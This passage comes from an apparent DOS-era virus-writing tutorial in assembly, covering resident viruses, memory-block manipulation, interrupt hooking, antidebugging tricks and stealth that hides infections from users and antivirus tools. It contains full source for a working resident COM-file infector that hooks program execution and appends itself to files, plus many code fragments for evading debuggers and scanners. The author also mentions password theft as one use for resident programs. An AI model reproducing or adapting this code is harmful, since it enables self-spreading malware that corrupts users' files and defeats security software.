ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0017h
³ Sectors per FAT ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0019h
³ Sectors per track ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Bh
³ Number of heads ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Dh
³ Number of hidden sectors ³ Size : 1 WORD
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 29 BYTES
ÄÄÄ´ More cool viruses : RESIDENT viruses ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, if you have reached this point and you're still alive, you have future
in this cool world called virus scene :)
Here begins da interesting stuff for you ( to read ) and for me ( to write )
% What the hell is a resident program? %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, first of all i'll explain you just the opposite :)
When we execute a non-resident program ( normal program such edit ), DOS
gives it determinated memory, but this memory is deallocated when the
application is terminated ( with an INT 20h, or INT 21h functions like the
famous 4Ch ).
A resident program is executed like a normal program, but it leaves in mem-
ory a portion of itself, that is not deallocated after program termination.
Resident programs ( aka TSR = Terminate and Stay Resident ) ussually replace
some interrupts, and putting its own ones, for perform the task for they're
designed. What uses can we give to a TSR program ? We can use for hacking
( steal passwords ), for our cool utilities... all depends of your imagina-
tion. Of course, i don't forget it... for make RESIDENT VIRUSES :)
% What can a TSR virus give you? %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
TSR isn't the best way to call viruses that go resident. Imagine you're exe-
cuting something and it returns to DOS. No. We can't TERMINATE and stay re-
sident! The user will note there's something wrong. We must RETURN to host
and stay resident :) TSR is only an abbreviation ( misused, i must add ).
Resident viruses can offer us a new world of possibilities. We can make our
virus much more infectious, safe... We can disinfect file when an attempt to
open/read file is detected ( imagine, AVs won't detect anything ), we can
hook the functions used by AVs in order to fool them, we can substract the
virus size to inexpert user eyes ( erhm... experts too ) ;)
Nowadays there isn't reasons to make runtime viruses. They're slow, easily
detectable, and OBSOLETE ( Hey! An excelent Fear Factory album! ) :)
Let's see a little example of resident program.
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This program will check if it's already in memory, and then it'll show us a
; stupid message. If not, it'll install and show another msg.
.model tiny
.code
org 100h
start:
jmp fuck
newint21:
cmp ax,0ACDCh ; Are user caliing our function?
je is_check ; If yes, answer the call
jmp dword ptr cs:[oldint21] ; Else jump to original int 21
is_check:
mov ax,0DEADh ; We answer it
iret ; And make an interrupt return :)
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
fuck:
mov ax,0ACDCh ; Residence check
int 21h ; Invented function, of course ;)
cmp ax,0DEADh ; Are we here?
je stupid_yes ; If yes, show message 2
mov ax,3521h ; If not, we go and install
int 21h ; Function for get INT 21h vectors
mov word ptr cs:[int21_off],bx ; We store offset at oldint21+0
mov word ptr cs:[int21_seg],es ; We store segment at oldint21+2
mov ax,2521h ; Function for put new int 21 handler
mov dx,offset newint21 ; where is it located
int 21h
mov ax,0900h ; Show message 1
mov dx,offset msg_installed
int 21h
mov dx,offset fuck+1 ; Make resident from offset 0 until
int 27h ; offset in dx using int 27h
; This will also terminate program<g>
stupid_yes:
mov ax,0900h ; Show message 2
mov dx,offset msg_already
int 21h
int 20h ; Terminate program.
msg_installed db "Stupid Resident not installed. Installing...$"
msg_already db "Stupid Resident is alive and kicking your ass!$"
end start
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This little example can't be used to code a virus... Why? INT 27h, after put
a program in memory, terminates current execution. It's like it put code in
memory and make INT 20h or whatever you use for terminate current program
execution.
And then... What can we use to code a virus?
% TSR viruses algorithm %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
We can follow this steps ( imagination is quite good in virus coding... ) :)
1. Check if program is already resident ( yes, goto 5; no, continue )
2. Allocate memory we want
3. Copy virus body to memory
4. Get interrupt vectors, save them and put ours
5. Restore host file
6. Return control to it
% Residence checks %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
When we're coding a resident program, we must make at least one check to see
if our program is already installed. Ussually, it's an invented function,and
when we call it, the function return us a determinated value ( we choose it,
too ) or if it isn't installed, it makes AL = 00.
Let's see an example:
mov ax,0B0B0h
int 21h
cmp ax,0CACAh
je already_installed
[...]
If it was already installed, we restore the infected file host, and return
control to original program. If it wasn't installed, we go and install.
The INT 21h handler for this virus will look like this:
int21handler:
cmp ax,0B0B0h
je install_check
[...]
db 0EAh
oldint21:
dw 0,0
install_check:
mov ax,0CACAh
iret
% Allocate modifying MCB %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The most used way to allocate memory is da MCB ( Memory Control Block ) one.
There're two way to perform this action: using DOS or doing it DIRECTLY.
After seeing what the hell are each way, let's see what is a MCB.
A Memory Control Block is created by DOS for each control block that da pro-
gram uses. The length of the block is one paragraph ( 16 bytes ), and it
always goes before the allocated memory. Ahh! num it's always divisibe by 16
We can know the location of the MCB of our program substracting to the code
segment 1 ( CS-1 ) if is a COM file, and DS if EXE ( remember, in EXEs
CS<>DS ) You can see the MCB structure in STRUCTURES chapter ( Already seen,
the last lesson we have seen )
þ Using DOS for modify MCB:
Well, the method i used in my first virus, the Antichrist Superstar, is very
simple and effective. First we make a request to DOS using function 4Ah of
INT 21h for all memory ( BX=FFFFh ), that is an imposible value. This func-
tion will see that we're requesting for too much memory, so it will place in
BX all memory that we can use. So we substract to this value the code size
of our virus in paragraphs ( ((size+15)/16)+1 ) and call again the function
4Ah. Now it's time to substract to da free memory the memory we want. We can
do it by doing a "sub word ptr ds:[2],(size+15)/16+1", and then call to DOS
function 48h, with the code size in paragraphs in BX. This will return in AX
the segment of allocated block, so we put it in ES, decrement AX, and put
the new value in DS. Now we have in DS the MCB, so we have to manipulate it.
We must put in DS:[0] the byte "Z" or "M" ( Depending of your needs, see MCB
structure ), and in DS:[1] the word 0008, for tell DOS that the block is of
its own, and then it won't overwrite it.
Arf, Arf... After this huge theory, some code will be good.
Something like this will configure MCB to your needs:
mov ax,4A00h ; Here we request for an impossible
mov bx,0FFFFh ; amount of free memory
int 21h
mov ax,4A00h ; And we substract the virus size in
sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
int 21h ; ( in BX ) and request for space.
mov ax,4800h ; Now we make DOS substract 2 da free
sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
mov bx,(virus_size+15)/16 ; paragraphs
int 21h
mov es,ax ; In AX we get the segment of our
dec ax ; memory block ( doesn't care if EXE
mov ds,ax ; or COM ), we put in ES, and in DS
; ( substracted by 1 )
mov byte ptr ds:[0],"Z" ; We mark it as last block
mov word ptr ds:[1],08h ; We say DOS the block is of its own
Quite simple and effective... However, this will only manipulate the memory,
it doesn't move your code to memory. This is VERY easy. But we'll see it
later.
þ Direct modify of MCB:
This method does exactly the same, but the way to reach our target is diffe-
rent. It has one thing that makes it better that the above method: a TSR AV
watchdog won't say anything of memory manipulation cause we don't use any
kinda interrupt :)
The first we do is to put DS in AX ( coz we can't make any kinda things with
segments ), we decrement it by 1, and then we put it again in DS. Now DS
points to the MCB. If you remember the MCB structure, in the offset 3 we had
the amount of current memory in paragraphs. So we need to substract to this
value the amount of memory we're going to use. We'll use BX ( why not? ) ;)
If we take a look to the past, we can remember that MCB is 16 bytes above da
PSP. All the PSP offsets are shifted by 16 ( 10h ) bytes. We need to chan-
ge the value of TOM, located at offset 2 of PSP, but we are not pointing to
PSP now, we're pointing to MCB. What can we do? Instead using offset 2, we
use offset 12h ( 2+16=18=12h ). We substract to it our memory needs in paras
( remember, virus size+15 divided by 16 ). The new value of this offset now
has the new segment of our program, and we need it in a segment. We're going
to use the Extra Segment ( ES ). But we can make a mov with ES and this
location ( due da limitations of segment manipulations ). We must use a tem-
poral register. AX will be good for our purposes. Now we mark ES:[0] with a
"Z" ( before we used DS as segment handler ), and ES:[1] with an 8.
After the always boring theory, some code will be good
mov ax,ds ; DS = PSP
dec ax ; We use AX as temporal register
mov ds,ax ; DS = MCB
mov bx,word ptr ds:[03h] ; We put in BX the amount of memory
sub bx,((virus_size+15)/16)+1 ; and then we put in BX for change
mov word ptr ds:[03h],bx ; We put it in its original place
mov byte ptr ds:[0],"M" ; Mark as not last block
sub word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
; to TOM size
mov ax,word ptr ds:[12h] ; Now offset 12h handles the new seg.
mov es,ax ; And we need AX for put it in ES
mov byte ptr es:[0],"Z" ; Mark as last block
mov word ptr es:[1],0008h ; Mark DOS as owner
% Move the virus to memory %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is da simplest thing in the resident virus coding. If you know for what
purposes we can use the MOVSB instruction ( and of course, MOVSW, MOVSD... )
you'll see how much easy is it. All we must do is setup from we want to move
and how many data. It's quite simple. Da beginning of data move is magically
always equal to delta offset, do if we have the delta offset in BP, all we
need it to move to SI the content of BP. And we put the virus size in bytes
in CX ( or in words if we want to use MOVSW ). Note that DI must be 0. It'll
be enough with a xor di,di ( an optimized way to make a mov di,0 ). Let's
see code...
push cs ; Adjust segments
pop ds ; CS = DS
xor di,di ; DI = 0 ( Top Of Memory )
mov si,bp ; SI = offset virus_start
mov cx,virus_size ; CX = virus_size
rep movsb ; Move bytes from DS:SI to ES:DI
% Hooking interrupts %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
After move our virus to memory, we need to modify at least one it for per-
form our infection. It's ussually INT 21h in about all resident infectors
under the sun, but when we're in a boot virus ( or a multipartite virus that
infect also floppies and MBRs ) we also have to hook the INT 13h. The ints
we hook depend of our needs. There're two ways of hooking interrupts: using
DOS or direct hooking. We must note some things to make our handler:
- First of all, we MUST preserve all registers we use PUSHING them at the
beginning of the handler ( flags too ), and when we'll be going to return da
control to the original handler, POP'em all.
- The second thing we must remember is that u can NEVER call an intercepted
function that is previously hooked by our virus, we'll fall in an infinite
loop. Let's imagine we've hooked function 3Dh of INT 21h ( Open File ), and
we call it from the hooked function code ( or antoher of our new interrupt
handler )... Da computer will hang. Instead of this we must make a fake call
to the INT 21h like this one:
CallINT21h:
pushf
call dword ptr cs:[oldint21]
iret
We can do another thing. We can redirect another interrupt, and make it
point to the old INT 21h. A good choice seems to be INT 03h: It's a good
antidebugging trick, makes our code more little ( INT 03h is coded CCh that
only takes one byte, and normal ints are coded CDh XX, where XX is the hex
value of out int ), and we forget all the problems of call intercepted func-
tions. When we're about to pass the control to original INT 21h, it's good
to restore all hooked interrupts that were redirected to INT 21h.
þ Hooking interrupts using DOS:
We must get the original vector of an interrupt before put our own vector.
This can be done with the function 35h of the INT 21h.
Let's see the input parameters for this function:
AH = 35h
AL = Interrupt Number
When called, it returns us this values :
AX = Preserved
ES = Interrupt Handler Segment
BX = Interrupt Handler Offset
After calling this function, we store ES:BX in a variable in our code for
later use, and set a new interrupt handler. The fuction we must use is the
25h of INT 21h. Here you have the parameters:
AH = 25h
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset
Let's see an example of interrupt hooking by using DOS:
push cs ; Adjust segments
pop ds ; CS = DS
mov ax,3521h ; Get interrupt vector function
int 21h
mov word ptr [int21_off],bx ; Now store variables
mov word ptr [int21_seg],es
mov ah,25h ; Put new interrupt
lea dx,offset int21handler ; Offset to new handler
int 21h
[...]
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
þ Direct hook of interrupts:
If we forget DOS, we win some things i said before ( in the direct MCB modi-
fying ). Do you remember the structure of the interrupt table ? It begins
at 0000:0000, and it takes to 0000:0400h. Here we have all the interrupts we
can use, from the INT 00h till the INT FFh. Let's see some code:
xor ax,ax ; Make zero AX
mov ds,ax ; For make zero DS ( now AX=DS=0 )
push ds ; We nned to restore DS later
lds dx,ds:[21h*4] ; All interrupts are in int number*4
mov word ptr es:int21_off,dx ; Where save offset
mov word ptr es:int21_seg,ds ; " " segment
pop ds ; Restore DS
mov word ptr ds:[21h*4],offset int21handler ; The new handler
mov word ptr ds:[21h*4+2],es
% Last words about residency %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, there aren't my last words really. I'll talk a lot of infections, and
all this stuff in the rest of this document, but i assume you know how to do
a resident virus after this. All the stuff from here to the last line of the
document is thougth to be implemented to a TSR virii. Of course, if i say
that something is for runtime viruses, don't scream! :)
After terminate this lesson, i must put an example of full-working resident
virus. We also used at this point Gý. It's a lame resident COM infector.
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This code isn't commented as good as the RUNTIME viruses. This is cause i
; assumed all the stuff is quite clear at this point.
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj
checkres1 = ':)'
checkres2 = ';)'
.model tiny
.code
org 0000h
start:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next ; Get delta offset
push ds
push es
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop ds
pop es
restore_COM:
mov di, 0100h ; Where to move data
push di ; In what offset will the ret go
lea si, [bp+offset old3] ; What to move
movsb ; Move 3 bytes
movsw
ret ; Return to 100h
old3 db 0cdh,20h,0
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 4300h ; Get attributes for later restore
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename ; Open file for read/write
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs ; Adjust segments
pop ds
push cs
pop es ; CS=ES=DS
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov cx, 001Ah ; Read 1Ah bytes of file
mov dx, offset readbuffer
mov ah, 003Fh
int 0021h
mov ax, 4202h ; Move file pointer to the end
xor dx, dx
xor cx, cx
int 0021h
cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
jz jmp_close
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
mov di, offset old3 ; Restore 3 first bytes
mov si, offset readbuffer
movsb
movsw
sub ax, 0003h
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
mov dx, offset start
mov cx, heap-start
mov ah, 0040h ; concatenate virus
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4200h ; Move pointer to the beginning
int 0021h
mov dx, offset readbuffer ; Write first 3 bytes
mov cx, 0003h
mov ah, 0040h
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh ; Close file
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/Gý]',0
heap:
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Sorry. I'm a goddman lazy, i know. You can think this is a lame attitude.
Maybe. But think i'm making this document at time i'm making some viriis and
making some stuff for DDT magazine, so i haven't enough time for make my own
decent viruses for this tute. Hey! No one pays me for do this, you know? :)
ÄÄÄ´ Armouring your code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is a very discused theme in da scene. Many VXers protects their code in
order to make AVers life more difficult. Of course we are talking about
antidebugging routines. There're a lot of techniques that all we know... but
it's good to see a couple of them here... don't you think?
This things have a lot of possible functions. They're a lot of configurable.
You can do custom-made routines for yer virus, too. I think put at least one
of this routines in your polymorphic engine ( in long-routines table, like
Wintermute's Zohra virus ) for fool the AVs which try to decrypt our code.
Here we go!
A very useful thing is deactivate keyboard. When we deactivate keyboard the
debugger user can't trace anymore ( F7 in TD ). If user runs the program at
full speed... no problem. Just an int 3 ( breakpoint ) will do the rest. It
is a very simple thing that works preety good! Let's see some code:
bye_keyb:
in al,21h ; Let's deactivate keyboard
or al,02h ; Try to press any key...
out 21h,al
fuck_int3:
int 3h ; Breakpoint
exit_adbg:
in al,21h ; Let's activate keyboard
and al,not 2 ; keyb works now
out 21h,al ; cool :)
This is a good method. Think you can do... deactivate keyboard all time when
our virus is being run will: keep the lamer-user get astonished, wont allow
him to press damned ^C, all you want to do can be made. Really useful and
simple thing.
Another method is play with the stack. Many antidebuggers suck with this old
and simple thing. You can do whatever you want with this in order to fuck'em
Code? Here you have:
do_shit_stack:
neg sp
neg sp
Simple, huh? You can also do a NOT instead of NEG. Same result.
tons_of_shit:
not sp
not sp
What a NEG does? It increases register by one and then apply a NOT on the
result. But it's a very old trick... you can add it but better search for
others, this is not definitive with quality debuggers like S-ICE. But if
you are doing a poly engine you can add a simple soutine like this and AVP
will suck trying to decrypt your virus. Hehe... Kaspersky's babe sux! Erhm..
I forget it... TBCLEAN says "Approached stack crash" :) Ok... continue this
shit. Another method you can use is overflow the stack:
overflower:
mov ax,sp
mov sp,00h
pop bx
mov sp,ax
Of course... there are more. Another of the classics is to hook int 1 and/or
int 3. You have many ways to do this. Well, we offer you some of this shit.
change_int1_and_int3_using_dos:
mov ax,2501h ; AL = INT to hook
lea dx,newint ; Take care if we need
int 21h ; ë offset, by adding it... ok?
mov al,03h
int 21h
[...]
newint:
jmp $
iret ; Why if don't used? hehehe :)
This routine can be notified by a TSR watchdog. We recommend you to use the
below method. Hookin' by direct manipulation:
int1:
xor ax,ax ; Let's try to put an IRET in INT 1
mov es,ax ; We need ES = 0. IVT is in 0000:0000
mov word ptr es:[1h*4],0FEEBh ; a jmp $
int3:
xor ax,ax
mov es,ax
mov word ptr es:[3h*4],0FEEBh ; a jmp $
If you don't want to hang the computer just replace the 0FEEBh to 0CF90h ( a
nop and a iret [ reverse order, of course ] ).
A very cool idea you can have is to make int 3 point to int 21, and then you
can use this int instead the int 21. This will be good for two things: fuck
debuggers and optimize your code... why it optimize your code? the int 21
opcode is CD 21 ( takes two bytes ), and the int 3 is only CC...
Remember that the int 3 is a breakpoint for debuggers, so everytime you call
int 3 the debugger will stop :) Here you have the code:
getint21:
mov ax,3521h ; Get interrupt vectors
int 21h
mov word ptr [int21_ofs],bx
mov word ptr [int21_seg],es
mov ax,2503h
lea dx,jumptoint21
int 21h
[...]
jumptoint21 db 0EAh
int21 equ this dword
int21_ofs dw 0000h
int21_seg dw 0000h
We can also make comparisons with the stack in order of know if we're being
debugged. Here you have some examples:
stack_compares:
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz exit_adbg ; not debugged
jmp $ ; hang computers is cool ;)
exit_adbg:
Remember, if needed, disabling interrupts ( cli ) and enabling later ( sti )
Yes, there are more methods for armour our code. They're so old, but hey!
they work! Take a look to the next one... play with the prefetch is very
known. I like a lot this method. Take a look to this code:
prefetch:
mov word ptr cs:fake,0FEEBh ; Why do you think this made
fake: jmp nekst ; if debugged? Yes, hang PC!
nekst: ; Continue with your code here
You can also do much more things with da prefetch. You can jump to a routine
or put a hlt ( hangs too )... whatever you want, like this:
prefetch_fun:
mov word ptr cs:fake2,04CB4h
fake2: jmp bye_fake
int 21h
bye_fake:
This code will terminate the execution of yer program. Quite kewl. Now, a
specific routine for SoftIce ( the best debugger also fooled ).
At least this is a lot of ppl say. More code here:
soft_ice_fun:
mov ax,0911h ; Soft-ice function for exec. command
mov di,4647h ; DI = "FG"
mov si,4A4Eh ; SI = "JM"
lea dx,soft_ice_fuck ; Yeah
int 03h ; Int for breakpoints
soft_ice_fuck db "bc *",10,0
Another trick is to hook int 8 and put there a compare to a variable in our
resident code, because a lot of debuggers deactivate all interrupts except
the int 8. The int 8 is executed 18.2 times in an only second. I recommend
you to save the old handler before hook it. Do you want code? here you have
save_old_int8_handler: ; You remember 40-hex magazine?
mov ax,3508h ; This routine is from issue #7
int 21h
mov word ptr [int8_ofs],bx
mov word ptr [int8_seg],es
push bx es
mov ah,25h ; Put int 8 handler
lea dx,virii
int 21h
fuckin_loop:
cmp fuckvar,1 ; This will cause a little delay
jnz fuckin_loop
pop ds ds
int 21h
mov ax,4C00h
int 21h
fuckvar db 0
int8 equ this dword
int8_ofs dw 0000h
int8_seg dw 0000h
program:
; bla bla bla
mov fuckvar,1
; more and more bla
jmp dword ptr [int8]
Remember Demogorgon lesson : " Unprotected code is public domain "
Hey! Be careful if you need the delta offset ( i.e. runtime <g> viruses ),
and add it... ok?
ÄÄÄ´ Stealth ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
What is stealth ? Stealth in VX world is the name we give to all this stuff
that allow us the possibility of hide the infection symptoms, like file size
grow, " Abort, Retry, Ignore " error when we execute a program in a protect-
ed to disk write floppy, read the disinfected version of a file, the file
date seems to bee good...In another words, make the user believe fake things
Stealth is also the name of a VX group ( SGWW ), but this is another
history :)
% INT 24h stealth %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Yes, this is stealth. You can think this stuff is quite old and else, but i
believe this is the first attempt to make stealth implemented in viruses.
The target is avoid da message " Abort, Retry, Ignore " when we're executing
a program in a write-protected floppy, cause the virus want to write, and it
does, but DOS notify this error. If the user sees this message will suspect
there's something wrong...
This is very easy. All we need is to replace the original INT 24h vectors
( the int that handles critical errors ) to a fake interrupt where the only
code is a " mov al,3 " followed by an " iret ".
Let's see:
mov ax,3524h
int 21h
mov word ptr [int24_off],bx
mov word ptr [int24_seg],es
mov ax,2524h
lea dx,int24handler
int 21h
[...]
int24handler:
mov al,3
iret
% Directory stealth %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are two kinds of directory stealth: by FCBs and by handles.
þ FCB stealth:
Do you remember the FCB structure? You can take a look to STRUCTURES chapter
if you've alzheimer :)
Well, let's see... Our target here is to susbract the virus size to the
actual infected virus size. You must add something like this to your int 21h
handler:
[...]
cmp ah,11h ; FindFirst ( FCB )
je FCBstealth
cmp ah,12h ; FindNext ( FCB )
je FCBstealth
[...]
Then we create a procedure called FCBstealth ( or the name you like more ),
and put in it a fake interrupt call. Then we check if result is 0. If it is,
we jump directly to the interrupt return. Else, we continue. Now we push the
register what we use ( AX, BX, ES ), and we call to the INT 21h function
AH=2Fh, that return us the address of the DTA in ES:BX. It's time to check
if the FCB is normal or extended. We can know it by comparing the first byte
of FCB ( in ES:[BX] ) with FFh. If it's equal, the FCB is extended, so we
fix it by adding 7 bytes to BX. If it's normal we preserve it. Now we check
if the file was previously infected. For make our stuff easiest, i will
assume that the infection mark is to set up seconds to 60 ( an impossible
value ). If it isn't infected, we skip that file. Now it's time to substract
the virus size, and... here we have! FCB stealth! Let's see code:
FCB_Stealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to INT 21h
or al,al ; Optimized cmp al,0
jnz error
push ax bx es
mov ah,2Fh ; Get DTA address in ES:BX
int 21h
cmp byte ptr es:[bx],0FFh ; Is FCB extended ?
jne normal
add bx,07h ; No, fix it
normal:
mov ax,es:[bx+17h] ; Get seconds
and ax,1Fh ; Unmask seconds
xor al,1Eh ; Are seconds = 60 ? ( 30*2 )
jne not_infected ; No, skip it
sub word ptr es:[bx+1Dh],virus_size ; Substract virus size
sbb word ptr es:[bx+1Fh],0 ; With borrow, too
not_infected:
pop es bx ax
error:
retf 02
þ Handle stealth:
The handle is another way to do the same than FCB stealth. Our objective is
the same, hide the size ( and seconds if required )... but the function we
must intercept and the things we must change are a little bit different ( if
not we used the same code than above ) ;)
Well, the code placed in your INT 21h handler is something like this:
[...]
cmp ah,4Eh ; FindFirst ( Handle )
je HandleStealth
cmp ah,4Fh ; FindNext ( Handle )
je HandleStealth
[...]
And now, I'll explain how is a typical routine for Handle stealth.
Firstly, we make a fake call to da old INT 21h ( after pushing flags, of co-
urse ). After this, we save the registers we're going to use ( AX, BX, ES ),
and get the DTA in ES:BX ( AH=2Fh ). We check for previous infection ( secs
in ES:[BX+17h] ), and if it's already infected, we substract the virus size
to the file size. It's very similar to the above stealth method, but, as you
can see, there're some things that make it different :)
A theory lesson is a shit without some code :)
HandleStealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to DOS API
jc goback ; CF=1 if error
push ax bx es ; Save registers we use
mov ah,2Fh ; DTA @ ES:BX
int 21h
mov ax,es:[bx+16h] ; Get the file time
and ax,1Fh ; Unmask Seconds
xor al,1Eh ; 60 ? ( Compare in optimized way )
jne damnedpops ; Fuck!
sub word ptr es:[bx+1Ah],virus_size ; Guess...
sbb word ptr es:[bx+1Ch],0
damnedpops:
pop es bx ax ; Get the old values
goback:
retf 02
% Problems in directory stealth %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There're some problems that need to be fixed, in order to avoid user's panic
We need to check if some programs are being run:
- Compressors, such PKZIP, RAR, ARJ, LHA, AIN, etc. because if we give them
an incorrect size, they'll fuck in order to compress files :(
- Utilities like CHKDSK, that will be fucking around showing a neverending
errors list, cause of the size in sectors isn't equal to the size we show
to the user eyes :(
- AVs, like F-PROT, AVP and other SCUM, to prevent their messages about a
probable infection by a stealth virus.
So, it's a good idea to waste some code space making comparisons in order to
see if one of this program is being run, and then deactivate stealth ( and
activate later, when we're outside danger )
% INT vectors stealth %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This kinda stealth is very easy. When we use this method, we are trying to
give the original vectors ( this ones that we caught before install our own
interrupt handler ) to the programs that request for it. This is good for
some things: our interrupt handler will be always the first. Let's see what
we have to add to our INT 21h vectors if we've hooked the said INT.
[...]
cmp ax,3521h ; Get INT 21h vectors
je RequestINT21h
cmp ah,2521h ; Put INT 21h vectors
je PutNewINT21h
[...]
And our routines look like this:
RequestINT21h:
mov bx,word ptr cs:[int21_off] ; Return in BX the old int offset
mov es,word ptr cs:[int21_seg] ; Return in ES the old int segment
iret
PutNewINT21h:
mov word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
mov word ptr cs:[int21_off],dx ; " " " offset " int21_off
iret
% Time stealth %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here i can't put code because this thing is very personal, it must be custom
made to your needs when coding your virus. You can use many ways for mark da
infected files... Put seconds to 60, 62... ( impossible ), increase years by
100, make equal seconds and day... The way for obtain time and date is with
